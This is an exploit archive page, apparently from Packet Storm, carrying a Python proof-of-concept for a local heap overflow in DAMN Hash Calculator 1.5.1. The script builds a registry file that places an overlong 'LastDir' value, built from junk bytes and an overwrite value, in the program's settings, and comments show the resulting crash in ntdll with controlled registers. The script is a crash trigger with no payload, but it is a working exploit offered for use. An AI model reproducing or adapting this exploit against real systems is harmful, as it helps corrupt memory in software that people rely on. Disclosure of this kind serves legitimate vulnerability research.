exploit the possibilities

DAMN Hash Calculator 1.5.1 Heap Overflow

DAMN Hash Calculator 1.5.1 Heap Overflow
Posted Feb 23, 2012
Authored by Julien Ahrens

DAMN Hash Calculator version 1.5.1 local heap overflow proof of concept exploit.

tags | exploit, overflow, local, proof of concept
MD5 | f55e391a79cdbbd769fede54fe6e6a68

DAMN Hash Calculator 1.5.1 Heap Overflow

Change Mirror Download
#!/usr/bin/python
# Exploit Title: DAMN Hash Calculator v1.5.1 Local Heap Overflow PoC
# Version: 1.5.1
# Date: 2012-02-21
# Author: Julien Ahrens
# Homepage: http://www.inshell.net
# Software Link: http://www.google.com
# Tested on: Windows XP SP3 Professional German
# Notes: Old but nice software...just to proof it's there :-)
# Howto: Import Reg -> Start App -> Select File -> Cancel without choosing one
#7C9204E6 . 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8]
#7C9204E9 . 0B47 10 OR EAX,DWORD PTR DS:[EDI+10]
#7C9204EC . A9 00000269 TEST EAX,69020000
#7C9204F1 . 0F85 8BA70300 JNZ ntdll.7C95AC82
#7C9204F7 > 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10]
#7C9204FA . 8A48 FD MOV CL,BYTE PTR DS:[EAX-3] <-- Crash
#7C9204FD . 83C0 F8 ADD EAX,-8
#7C920500 . F6C1 01 TEST CL,1
#7C920503 . 56 PUSH ESI
#7C920504 . 0F84 92A70300 JE ntdll.7C95AC9C
#7C92050A . F6C1 08 TEST CL,8
#7C92050D . 0F85 B3A70300 JNZ ntdll.7C95ACC6
#EAX 42424245
#ECX 00000008
#EDX 77C31AE8 msvcrt.77C31AE8
#EBX 0040F2F0 DAMN_Has.0040F2F0
#ESP 0012F54C
#EBP 0012F550
#ESI 0041A2DC ASCII "EBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
#EDI 00330000
#EIP 7C9204FA ntdll.7C9204FA
file="poc.reg"
junk1="\x41" * 392
boom="\x45\x42\x42\x42"
junk2="\x43" * 50
poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\DAMN\Hash Calculator\Settings]\n"
poc=poc + "\"LastDir\"=\"" + junk1 + boom + junk2 + "\""
try:
print "[*] Creating exploit file...\n";
writeFile = open (file, "w")
writeFile.write( poc )
writeFile.close()
print "[*] File successfully created!";
except:
print "[!] Error while creating file!";


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    2 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close